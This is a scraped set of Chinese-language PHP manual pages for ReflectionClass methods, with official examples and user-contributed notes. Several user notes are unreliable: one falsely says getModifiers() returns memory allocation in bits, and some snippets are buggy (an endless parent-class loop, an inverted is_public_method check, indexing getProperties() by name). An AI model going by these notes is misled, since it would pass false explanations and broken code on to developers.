  • ReflectionClass::getProperties() - 获取属性
  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

Nicola Pietroluongo 26-Feb-2015 01:17
It's the amount of memory allocation in bit.
By default many systems allocate 1048576 bit (1 Megabit).

/* Example 1 */

class Test {}
$classTest = new Test();
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
1048576

/* Example 2 */

class Test {}
//the constructor is missing
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
0


获取类名

  • ? ReflectionClass::getModifiers
  • ReflectionClass::getNamespaceName ?
  • PHP Manual
  • ReflectionClass
  • 获取类名

ReflectionClass::getName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getName — 获取类名

说明

public ReflectionClass::getName(): string

获取类的名称。

参数

此函数没有参数。

返回值

类名。

示例

Example #1 ReflectionClass::getName() 示例

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上示例会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getNamespaceName() - 获取命名空间的名称

User Contributed Notes

There are no user contributed notes for this page.


获取命名空间的名称

  • ? ReflectionClass::getName
  • ReflectionClass::getParentClass ?
  • PHP Manual
  • ReflectionClass
  • 获取命名空间的名称

ReflectionClass::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::getNamespaceName — 获取命名空间的名称

说明

public ReflectionClass::getNamespaceName(): string

获取命名空间（namespace）的名称。

参数

此函数没有参数。

返回值

命名空间的名称。

示例

Example #1 ReflectionClass::getNamespaceName() 示例

<?php
namespace A\B;

class Foo { }

$class = new \ReflectionClass('stdClass');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());

$class = new \ReflectionClass('A\\B\\Foo');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());
?>

以上示例会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getParentClass() - 获取父类
  • namespaces

User Contributed Notes

francois 14-Aug-2011 04:08
If the object does not belong to a namespace, an empty string is returned


获取父类

  • ? ReflectionClass::getNamespaceName
  • ReflectionClass::getProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取父类

ReflectionClass::getParentClass

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getParentClass — 获取父类

说明

public ReflectionClass::getParentClass(): ReflectionClass|false

获取父级类。

参数

此函数没有参数。

返回值

ReflectionClass，没有父类为 false。

参见

  • ReflectionClass::__construct() - 初始化 ReflectionClass 类

User Contributed Notes

isaac dot z dot foster at gmail dot com 15-Jun-2013 09:02
Quick correction, the code for getting all parent classes below has a "typo", you need to reset the $class variable to the parent class instance, otherwise it just endlessly loops:

        $class = new ReflectionClass('classname');

        $parents = array();

        while ($parent = $class->getParentClass()) {
            $parents[] = $parent->getName();
            $class = $parent;
        }

        echo "Parents: " . implode(", ", $parents);
havelangep at hotmail dot com 16-Dec-2010 01:26
Here is a "replacement" for is_a that will additionally look both into the extended classes and in the implemented interfaces

<?php
/**
     * Check if a class extends or implements a specific class/interface
     * @param string $search The class or interface name to look for
     * @param string $className The class name of the object to compare to
     * @return bool
     */
    function IsExtendsOrImplements( $search, $className ) {
        $class = new ReflectionClass( $className );
        if( false === $class ) {
            return false;
        }
        do {
            $name = $class->getName();
            if( $search == $name ) {
                return true;
            }
            $interfaces = $class->getInterfaceNames();
            if( is_array( $interfaces ) && in_array( $search, $interfaces )) {
                return true;
            }
            $class = $class->getParentClass();
        } while( false !== $class );
        return false;
    }
?>
jochem at drecomm dot nl 18-Nov-2010 04:34
When you want to find all parents (parent, parent of parent, parent of parent's parent and so on) try:

<?php
$class = new ReflectionClass('whatever');

$parents = array();

while ($parent = $class->getParentClass()) {
    $parents[] = $parent->getName();
}

echo "Parents: " . implode(", ", $parents);
?>

ReflectionClass::getParentClass() can return a ReflectionClass object of the parent class or false if no parent.

(PHP Version 5.1.6)


获取属性

  • ? ReflectionClass::getParentClass
  • ReflectionClass::getProperty ?
  • PHP Manual
  • ReflectionClass
  • 获取属性

ReflectionClass::getProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getProperties — 获取属性

说明

public ReflectionClass::getProperties(?int $filter = null): array

获取反射过的属性。

参数

filter

可选的过滤器，过滤为所需类型的属性。它使用 ReflectionProperty 常量 来配置，默认获取所有类型的属性。

返回值

ReflectionProperty 对象的数组。

更新日志

版本 | 说明
7.2.0 | filter 现在允许为 null。

示例

Example #1 ReflectionClass::getProperties() 过滤示例

这个示例延时了可选 filter 参数的用法，示例里实际上忽略了私有属性。

<?php
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
print $prop->getName() . "\n";
}

var_dump($props);

?>

以上示例的输出类似于：

foo
bar
array(2) {
  [0]=>
  object(ReflectionProperty)#3 (2) {
    ["name"]=>
    string(3) "foo"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionProperty)#4 (2) {
    ["name"]=>
    string(3) "bar"
    ["class"]=>
    string(3) "Foo"
  }
}

参见

  • ReflectionClass::getProperty() - 获取类的一个属性的 ReflectionProperty
  • ReflectionProperty
  • ReflectionProperty 修饰符常量

User Contributed Notes

kelunik at php dot net 21-Jan-2018 10:58
Note that inherited properties are returned, but no private properties of parent classes. Depending on the use case, you need to check that, too.

do {
    foreach ($reflectionClass->getProperties() as $property) {
        /* ... */
    }
} while ($reflectionClass = $reflectionClass->getParentClass());
postmaster at greg0ire dot fr 08-Jul-2014 09:23
The code in the first example actually does get inherited properties with at least php 5.5.9 . I don't know if / when this behavior changed.

Here is the output:
    array(2) {
     [0] =>
     class ReflectionProperty#2 (2) {
       public $name =>
       string(2) "a2"
       public $class =>
       string(2) "AA"
     }
     [1] =>
     class ReflectionProperty#3 (2) {
       public $name =>
       string(2) "a1"
       public $class =>
       string(1) "A"
     }
    }
Yzmir Ramirez 16-Oct-2010 08:53
Looks like you can access public, protected, private variables by casting the object to an array (useful for Unit Testing).  However casting to an array still won't allow you access to protected and private static variables.

In PHP 5.3.0+ use ReflectionProperty::setAccessable(true);

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo {
    public    $foo  = 'public';
    protected $bar  = 'protected';
    private   $baz  = 'private';

    public static    $sfoo  = 'public static';
    protected static $sbar  = 'protected static';
    private static   $sbaz  = 'private static';

    const COO = 'const';

}

$obj = new Foo;

$arr = (array)$obj;

print_r($arr);

echo "Accessing Public Static: ".Foo::$sfoo."\n";
// echo Foo::$sbar."\n"; // Fatal error: Cannot access protected property Foo::$sbar
// echo Foo::$sbaz."\n"; // Fatal error: Cannot access private property Foo::$sbaz
echo "Accessing Constant: ".Foo::COO."\n";
?>

PHP Version: 5.2.12
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const

PHP Version: 5.1.6
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const
mcurtis 28-Jan-2009 02:41
It should be noted that the 'filter' parameter in the getProperties(filter) method is expected to be of type long.  Not sure why, but it doesn't function as a way of passing in a string to fetch a subset of properties by string match.
muratyaman at gmail dot com 22-Jan-2009 07:47
Some may find this useful.

<?php
/**
 * Recursive function to get an associative array of class properties by property name => ReflectionProperty() object
 * including inherited ones from extended classes
 * @param string $className Class name
 * @param string $types Any combination of <b>public, private, protected, static</b>
 * @return array
 */
function getClassProperties($className, $types='public'){
    $ref = new ReflectionClass($className);
    $props = $ref->getProperties();
    $props_arr = array();
    foreach($props as $prop){
        $f = $prop->getName();

        if($prop->isPublic() and (stripos($types, 'public') === FALSE)) continue;
        if($prop->isPrivate() and (stripos($types, 'private') === FALSE)) continue;
        if($prop->isProtected() and (stripos($types, 'protected') === FALSE)) continue;
        if($prop->isStatic() and (stripos($types, 'static') === FALSE)) continue;

        $props_arr[$f] = $prop;
    }
    if($parentClass = $ref->getParentClass()){
        $parent_props_arr = getClassProperties($parentClass->getName());//RECURSION
        if(count($parent_props_arr) > 0)
            $props_arr = array_merge($parent_props_arr, $props_arr);
    }
    return $props_arr;
}

//USAGE

class A{
  public $a1;

    function abc(){
        //do something
    }
}

class AA extends A{
    public $a2;

    function edf(){
        //do something
    }
}

class AAA extends AA{
  //may not have extra properties, but may have extra methods
    function ghi(){
        //ok
    }
}

//$ref = new ReflectionClass('AAA'); $props = $ref->getProperties();//This will get no properties!
$props_arr = getClassProperties('AAA', 'public');//Use this
var_dump($props_arr);
/*
OUTPUT on PHP5.2.6:
array
  'a1' =>
    object(ReflectionProperty)[4]
      public 'name' => string 'a1' (length=2)
      public 'class' => string 'AAA' (length=3)
  'a2' =>
    object(ReflectionProperty)[3]
      public 'name' => string 'a2' (length=2)
      public 'class' => string 'AAA' (length=3)

*/

?>
david dot thalmann at gmail dot com 05-Jan-2009 08:19
With PHP 5.3 protected or private properties are easy to access with setAccessible(). However, it's sometimes needed (e.g. Unit Tests) and here is a workaround for getValue():

<?php

$class = new ReflectionClass('SomeClass');
$props = $class->getProperties();
// $propsStatic = $class->getStaticProperties();

$myPrivatePropertyValue = $props['aPrivateProperty'];

?>

Note that it wont work if you access the property directly with getProperty().


获取类的一个属性的 ReflectionProperty

  • ? ReflectionClass::getProperties
  • ReflectionClass::getReflectionConstant ?
  • PHP Manual
  • ReflectionClass
  • 获取类的一个属性的 ReflectionProperty

ReflectionClass::getProperty

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty

说明

public ReflectionClass::getProperty(string $name): ReflectionProperty

获取类的一个属性的 ReflectionProperty。

参数

name

属性名。

返回值

一个 ReflectionProperty。

示例

Example #1 ReflectionClass::getProperty() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$property = $class->getProperty('name');
var_dump($property);
?>

以上示例会输出：

object(ReflectionProperty)#2 (2) {
  ["name"]=>
  string(4) "name"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getProperties() - 获取属性

User Contributed Notes

dohpaz42 16-Jun-2015 04:16
Accessing private properties is possible, but care must be taken if that private property was defined lower into the inheritance chain. For example, if class A extends class B, and class B defines a private property called 'foo', getProperty will throw a ReflectionException.

Instead, you can loop over getParentClass until it returns false to look for the private property, at which point you can access and/or modify its value as needed.
eric at naeseth dot com 02-Aug-2011 03:38
If the class doesn't have a property with the given name, a ReflectionException will be raised.


Gets a ReflectionClassConstant for a class's constant

  • ? ReflectionClass::getProperty
  • ReflectionClass::getReflectionConstants ?
  • PHP Manual
  • ReflectionClass
  • Gets a ReflectionClassConstant for a class's constant

ReflectionClass::getReflectionConstant

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant

说明

public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false

Gets a ReflectionClassConstant for a class's property.

参数

name

The class constant name.

返回值

A ReflectionClassConstant, 或者在失败时返回 false.

参见

  • ReflectionClass::getReflectionConstants() - Gets class constants
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Gets class constants

  • ? ReflectionClass::getReflectionConstant
  • ReflectionClass::getShortName ?
  • PHP Manual
  • ReflectionClass
  • Gets class constants

ReflectionClass::getReflectionConstants

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClass::getReflectionConstants — Gets class constants

说明

public ReflectionClass::getReflectionConstants(?int $filter = null): array

Retrieves reflected constants.

参数

filter

The optional filter, for filtering desired constant visibilities. It's configured using the ReflectionClassConstant constants, and defaults to all constant visibilities.

返回值

An array of ReflectionClassConstant objects.

更新日志

版本 | 说明
8.0.0 | filter has been added.

示例

Example #1 Basic ReflectionClass::getReflectionConstants() example

<?php
class Foo {
public const FOO = 1;
protected const BAR = 2;
private const BAZ = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$consts = $reflect->getReflectionConstants();

foreach ($consts as $const) {
print $const->getName() . "\n";
}

var_dump($consts);

?>

以上示例的输出类似于：

FOO
BAR
BAZ
array(3) {
  [0]=>
  object(ReflectionClassConstant)#3 (2) {
    ["name"]=>
    string(3) "FOO"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionClassConstant)#4 (2) {
    ["name"]=>
    string(3) "BAR"
    ["class"]=>
    string(3) "Foo"
  }
  [2]=>
  object(ReflectionClassConstant)#5 (2) {
    ["name"]=>
    string(3) "BAZ"
    ["class"]=>
    string(3) "Foo"
  }
}

参见

  • ReflectionClass::getReflectionConstant() - Gets a ReflectionClassConstant for a class's constant
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


获取短名

  • ? ReflectionClass::getReflectionConstants
  • ReflectionClass::getStartLine ?
  • PHP Manual
  • ReflectionClass
  • 获取短名

ReflectionClass::getShortName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::getShortName — 获取短名

说明

public ReflectionClass::getShortName(): string

获取类的短名，就是不含命名空间（namespace）的那一部分。

参数

此函数没有参数。

返回值

类的短名。

示例

Example #1 ReflectionClass::getShortName() 示例

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上示例会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

There are no user contributed notes for this page.


获取起始行号

  • ? ReflectionClass::getShortName
  • ReflectionClass::getStaticProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取起始行号

ReflectionClass::getStartLine

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getStartLine — 获取起始行号

说明

public ReflectionClass::getStartLine(): int|false

获取起始的行号。

参数

此函数没有参数。

返回值

起始的行号，类型是 int，如果未知，则为 false。

参见

  • ReflectionClass::getEndLine() - 获取最后一行的行数

User Contributed Notes

info at ensostudio dot ru 31-Oct-2021 04:28
Note: lines in file start from 1!
Sample to get class code:
<?php
$class = new ReflectionClass('Foo');
$offset = $class->getStartLine() - 1;
$code = implode(
    '',
    array_slice(
        file($class->getFileName()),
        $offset,
        $class->getEndLine() - $offset
    )
);
?>


获取静态（static）属性

  • ? ReflectionClass::getStartLine
  • ReflectionClass::getStaticPropertyValue ?
  • PHP Manual
  • ReflectionClass
  • 获取静态（static）属性

ReflectionClass::getStaticProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getStaticProperties — 获取静态（static）属性

说明

public ReflectionClass::getStaticProperties(): array

获取静态（static）属性。

参数

此函数没有参数。

返回值

静态（static）的属性，类型是 array。

更新日志

版本 | 说明
8.3.0 | ReflectionClass::getStaticProperties() 的返回类型已经从 array 更改为 ?array。

参见

  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

joao dot felipe dot c dot b at gmail dot com 24-Mar-2016 01:06
getStaticProperties return a set of the property itself. It's diferente from getProperties(ReflectionProperty::IS_STATIC) because it return a set of ReflectionProperty class.
jlennox @ google mail 08-May-2010 10:03
I had the need to recursive merge the results from a subclass with all of it's parents, and this was the resulting code:

<?php
function GetStaticPropertiesRecursive($class) {
    $currentClass = $class;
    $joinedProperties = array();
    do {
        $reflection = new ReflectionClass($class);
        $staticProperties = $reflection->getStaticProperties();
        foreach ($staticProperties as $name => $value) {
            if (is_array($value)) {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name] = array_merge($value, $joinedProperties[$name]);
                else
                    $joinedProperties[$name] = $value;
            } else {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name][] = $value;
                else
                    $joinedProperties[$name] = array($value);
            }
        }
    } while ($class = get_parent_class($class));
    return $joinedProperties;
}

Using this function:
class base {
    public static $Test = array("foo1", "foo2");
}
class sub extends base {
    public static $Test = "sub";
}

print_r(GetStaticPropertiesRecursive("sub"));
?>

That outputs:
Array
(
    [Test] => Array
        (
            [0] => foo1
            [1] => foo2
            [2] => sub
        )

)

The merge follows the rules of array_merge on duplicate keys.


获取静态（static）属性的值

  • ? ReflectionClass::getStaticProperties
  • ReflectionClass::getTraitAliases ?
  • PHP Manual
  • ReflectionClass
  • 获取静态（static）属性的值

ReflectionClass::getStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值

说明

public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed

获取这个类里静态（static）属性的值。

参数

name

静态属性的名称，来返回它的值。

def_value

假如类没有定义 name 的 static 属性，将返回一个默认值。 如果属性不存在，并且省略了此参数，将会抛出 ReflectionException 。

返回值

静态属性的值。

示例

Example #1 ReflectionClass::getStaticPropertyValue() 的基本用法

<?php
class Apple {
public static $color = 'Red';
}

$class = new ReflectionClass('Apple');
var_dump($class->getStaticPropertyValue('color'));
?>

以上示例会输出：

string(3) "Red"

参见

  • ReflectionClass::getStaticProperties() - 获取静态（static）属性
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

Antares 16-Aug-2011 07:11
It seems this method has a security level different from the getStaticProperties method.

If you make two classes A and B looking like

<?php
class A{
        protected static $static_var='foo';

        public function getStatic(){
           $class=new ReflectionClass($this);
           return $class->getStaticPropertyValue('static_var');
        }

        public function getStatic2(){
            $class=new ReflectionClass($this);
            $staticProps=$class->getStaticProperties();
            return $staticProps['static_var'];
        }

        public function __construct(){
              echo $this->getStatic2();
              echo $this->getStatic();
        }
}

class B extends A{
        protected static $static_var='foo2';

}
?>

Then the output will be an exception for the getStatic() call, when the getStatic2() will correctly return 'foo2';
Mauro Gabriel Titimoli 21-Jan-2010 12:05
If you want to change a static property of a variable class...

PHP 5.2
<?php
$reflection = new ReflectionClass($className);
$staticPropertyReference = & $reflection->getStaticPropertyValue($staticPropertyName);

$staticPropertyReference = 'new value';
?>

PHP 5.3
<?php
$className::$$classProperty
?>


返回 trait 别名数组

  • ? ReflectionClass::getStaticPropertyValue
  • ReflectionClass::getTraitNames ?
  • PHP Manual
  • ReflectionClass
  • 返回 trait 别名数组

ReflectionClass::getTraitAliases

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraitAliases — 返回 trait 别名数组

说明

public ReflectionClass::getTraitAliases(): array

获取当前类中定义的 trait 方法别名数组。

参数

此函数没有参数。

返回值

返回数组，新的方法名位于键中，原始名称（格式是 "TraitName::original"）位于数组的值中。

User Contributed Notes

dhairya dot coder at gmail dot com 10-Feb-2016 11:43
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

class Apple{

    use A {
        A::bigTalk as talk;
    }
}

$obj=new ReflectionClass('Apple');
echo "<pre>";
var_dump($obj->getTraitAliases());
echo "</pre>";


返回这个类所使用 traits 的名称的数组

  • ? ReflectionClass::getTraitAliases
  • ReflectionClass::getTraits ?
  • PHP Manual
  • ReflectionClass
  • 返回这个类所使用 traits 的名称的数组

ReflectionClass::getTraitNames

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组

说明

public ReflectionClass::getTraitNames(): array

获取该类使用的 trait 名称。

参数

此函数没有参数。

返回值

返回的数组的值包含了 trait 的名称。

User Contributed Notes

emulienfou at gmail dot com 30-Nov-2013 03:55
This remote return only the trait names from the current class.

If your class extends another class using your trait, you can't get the names. However, you can do something like :

<?php
$traitsNames = [];
$recursiveClasses = function ($class) use(&$recursiveClasses, &$traitsNames) {
    if ($class->getParentClass() != false) {
        $recursiveClasses($class->getParentClass());
    }
    else {
        $traitsNames = array_merge($traitsNames, $class->getTraitNames());
    }
};
$recursiveClasses($controllerClass);


返回这个类所使用的 traits 数组

  • ? ReflectionClass::getTraitNames
  • ReflectionClass::hasConstant ?
  • PHP Manual
  • ReflectionClass
  • 返回这个类所使用的 traits 数组

ReflectionClass::getTraits

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraits — 返回这个类所使用的 traits 数组

说明

public ReflectionClass::getTraits(): array

获取该类使用的 trait 数组。

参数

此函数没有参数。

返回值

返回了数组，键是 trait 的名称，值是 trait 实例的 ReflectionClass。 出现错误的情况下返回 null。

User Contributed Notes

Anonymous 15-Jan-2015 04:03
Note that getTraits will NOT return any traits inherited from a parent.

This is currently viewed as the desired behavior.  See https://bugs.php.net/bug.php?id=61554


检查常量是否已经定义

  • ? ReflectionClass::getTraits
  • ReflectionClass::hasMethod ?
  • PHP Manual
  • ReflectionClass
  • 检查常量是否已经定义

ReflectionClass::hasConstant

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasConstant — 检查常量是否已经定义

说明

public ReflectionClass::hasConstant(string $name): bool

检查类中是否已经定义了指定的常量。

参数

name

要被检查的常量名称。

返回值

如果已定义返回 true，否则返回 false。

示例

Example #1 ReflectionClass::hasConstant() 示例

<?php
class Foo {
const c1 = 1;
}

$class = new ReflectionClass("Foo");

var_dump($class->hasConstant("c1"));
var_dump($class->hasConstant("c2"));
?>

以上示例的输出类似于：

bool(true)
bool(false)

参见

  • ReflectionClass::hasMethod() - 检查方法是否已定义
  • ReflectionClass::hasProperty() - 检查属性是否已定义

User Contributed Notes

There are no user contributed notes for this page.


检查方法是否已定义

  • ? ReflectionClass::hasConstant
  • ReflectionClass::hasProperty ?
  • PHP Manual
  • ReflectionClass
  • 检查方法是否已定义

ReflectionClass::hasMethod

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasMethod — 检查方法是否已定义

说明

public ReflectionClass::hasMethod(string $name): bool

检查一个类中指定的方法是否已定义。

参数

name

要检查的方法的名称。

返回值

如果有这个方法返回 true，否则返回 false。

示例

Example #1 ReflectionClass::hasMethod() 示例

<?php
Class C {
public function publicFoo() {
return true;
}

protected function protectedFoo() {
return true;
}

private function privateFoo() {
return true;
}

static function staticFoo() {
return true;
}
}

$rc = new ReflectionClass("C");

var_dump($rc->hasMethod('publicFoo'));

var_dump($rc->hasMethod('protectedFoo'));

var_dump($rc->hasMethod('privateFoo'));

var_dump($rc->hasMethod('staticFoo'));

// C should not have method bar
var_dump($rc->hasMethod('bar'));

// Method names are case insensitive
var_dump($rc->hasMethod('PUBLICfOO'));
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)

参见

  • ReflectionClass::hasConstant() - 检查常量是否已经定义
  • ReflectionClass::hasProperty() - 检查属性是否已定义

User Contributed Notes

dn dot permyakov at gmail dot com 08-May-2019 11:32
Trait methods can be seen by both actual and alias names

<?php

trait Sauce
{
    public function getSpicy()
    {
        return 'Cayenne';
    }
}

class Sandwich
{
    use Sauce {
        Sauce::getSpicy as getSweet;
    }
}

$class = new \ReflectionClass('Sandwich');
var_dump($class->hasMethod('getSweet'));
var_dump($class->hasMethod('getSpicy'));
?>
bool(true)
bool(true)
Xorifelse 22-Dec-2016 01:23
It might be interesting to know that this is the only method to determine if a trait has a specific method:

  trait a{
    function __wakeup(){}
  }

  class b{}

  class c{
    use a;
  }

  var_dump((new ReflectionClass('a'))->hasMethod('__wakeup')); // true
  var_dump((new ReflectionClass('b'))->hasMethod('__wakeup')); // false
  var_dump((new ReflectionClass('c'))->hasMethod('__wakeup')); // true
flancer64 at gmail dot com 02-Aug-2016 10:50
Annotated methods that are implemented using PHP magic methods are not recognized  by "hasMethod".

<?php
/**
 * @method void annotatedMethod()
 */
class SomeClass
{
    public function __call($name, $arguments)
    {
        echo "this is magic method: $name.\n";
    }

    public function codedMethod()
    {
        echo "this is coded method.\n";
    }
}

$obj = new \SomeClass();
$obj->codedMethod();
$obj->annotatedMethod();

$ref = new ReflectionClass(\SomeClass::class);
echo "SomeClass has 'codedMethod': " . json_encode($ref->hasMethod('codedMethod')) . ".\n";
echo "SomeClass has 'annotatedMethod': " . json_encode($ref->hasMethod('annotatedMethod')) . ".\n";
?>

Output:

this is coded method.
this is magic method: annotatedMethod.
SomeClass has 'codedMethod': true.
SomeClass has 'annotatedMethod': false.
michaelgranados at gmail dot com 19-May-2012 02:47
A way to check if you can call an method over a class:

<?php
function is_public_method(
        /* string */$className,
        /* string */$method
){
    $classInstance = new ReflectionClass($className);
    if ($classInstance->hasMethod($method)) {
        return false;
    }
    $methodInstance = $instance->getMethod($method);
    return $methodInstance->isPublic();
}
?>
phoenix at todofixthis dot com 28-Oct-2010 09:47
Parent methods (regardless of visibility) are also available to a ReflectionObject.  E.g.,

<?php
class ParentObject {
  public function parentPublic(  ) {
  }

  private function parentPrivate(  ) {
  }
}

class ChildObject extends ParentObject {
}

$Instance = new ChildObject();
$Reflector = new ReflectionObject($Instance);

var_dump($Reflector->hasMethod('parentPublic'));  // true
var_dump($Reflector->hasMethod('parentPrivate')); // true
?>
hanguofeng at gmail dot com 20-Oct-2010 09:09
note that even if private method will also be 'has'.


检查属性是否已定义

  • ? ReflectionClass::hasMethod
  • ReflectionClass::implementsInterface ?
  • PHP Manual
  • ReflectionClass
  • 检查属性是否已定义

ReflectionClass::hasProperty

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasProperty — 检查属性是否已定义

说明

public ReflectionClass::hasProperty(string $name): bool

检查指定的属性是否已定义。

参数

name

待检查的属性的名称。

返回值

如果有这个属性返回 true，否则返回 false。

示例

Example #1 ReflectionClass::hasProperty() 示例

<?php
class Foo {
public $p1;
protected $p2;
private $p3;

}

$obj = new ReflectionObject(new Foo());

var_dump($obj->hasProperty("p1"));
var_dump($obj->hasProperty("p2"));
var_dump($obj->hasProperty("p3"));
var_dump($obj->hasProperty("p4"));
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
bool(false)

参见

  • ReflectionClass::hasConstant() - 检查常量是否已经定义
  • ReflectionClass::hasMethod() - 检查方法是否已定义

User Contributed Notes

dalguete at gmail dot com 18-May-2021 12:48
hasProperty() now is consistent with getProperty() and getProperties() methods, thanks to this fix https://bugs.php.net/bug.php?id=49719

hasProperty() no longer returns true in private properties from parent classes.
dalguete at gmail dot com 17-May-2021 09:19
hasProperty() now is consistent with getProperty() and getProperties() methods, thanks to this fix https://bugs.php.net/bug.php?id=49719

hasProperty() no longer returns true in private properties.
rwilczek at web-appz dot de 13-Oct-2009 05:40
Note, that this method does not guarantee, that you can get a property with ReflectionClass::getProperty().

ReflectionClass::hasProperty() considers the parent classes (ignoring however, that a private property is not inherited), while ReflectionClass::getProperty() and ReflectionClass::getProperties() don't care about inheritance.

(Tested with PHP 5.3.0)

<?php
class Foo
{
    private $x;
}

class Bar extends Foo
{
    //
}

$foo = new ReflectionClass('Foo');
$bar = new ReflectionClass('Bar');

var_dump($foo->hasProperty('x'); // bool(true)
var_dump($bar->hasProperty('x'); // bool(true)

var_dump(get_class($foo->getProperty('x'))); //string(18) "ReflectionProperty"
try {
    $bar->getProperty('x');
} catch (ReflectionException $e) {
    echo $e->getMessage(); // Property x does not exist
}
?>


实现接口

  • ? ReflectionClass::hasProperty
  • ReflectionClass::inNamespace ?
  • PHP Manual
  • ReflectionClass
  • 实现接口

ReflectionClass::implementsInterface

(PHP 5, PHP 7, PHP 8)

ReflectionClass::implementsInterface — 实现接口

说明

public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool

检查其是否实现了接口（interface）。

参数

interface

接口（interface）的名称。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果 interface 不是接口，则 ReflectionClass::implementsInterface() 会抛出 ReflectionException。

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • ReflectionClass::isSubclassOf() - 检查是否为子类
  • interface_exists() - 检查接口是否已被定义
  • 对象接口

User Contributed Notes

jtunaley at gmail dot com 06-Jun-2018 10:22
Note that this method also returns true when the thing you're reflecting is the interface you're checking for:

<?php
interface MyInterface {}

$reflect = new ReflectionClass('MyInterface');
var_dump($reflect->implementsInterface('MyInterface')); // bool(true)
?>
keepchen2016 at gmail dot com 02-Jun-2017 08:49
interface Factory
{
    public function sayHello();
}

class ParentClass implements Factory
{
    public function sayHello()
    {
        echo "hello\n";
    }
}

class ChildrenClass extends ParentClass
{

}

$reflect = new ReflectionClass('ParentClass');
var_dump($reflect->implementsInterface('Factory'));

$second_ref = new ReflectionClass('ChildrenClass');
var_dump($second_ref->isSubclassOf('ParentClass'));

$third_ref = new ReflectionClass('Factory');
var_dump($third_ref->isInterface());

//can not be called as static
var_dump(ReflectionClass::isInterface('Factory'));
die;
//#result
bool(true)
bool(true)
bool(true)
PHP Fatal error:  Non-static method ReflectionClass::isInterface() cannot be called statically
dhairya dot coder at gmail dot com 11-Feb-2016 03:48
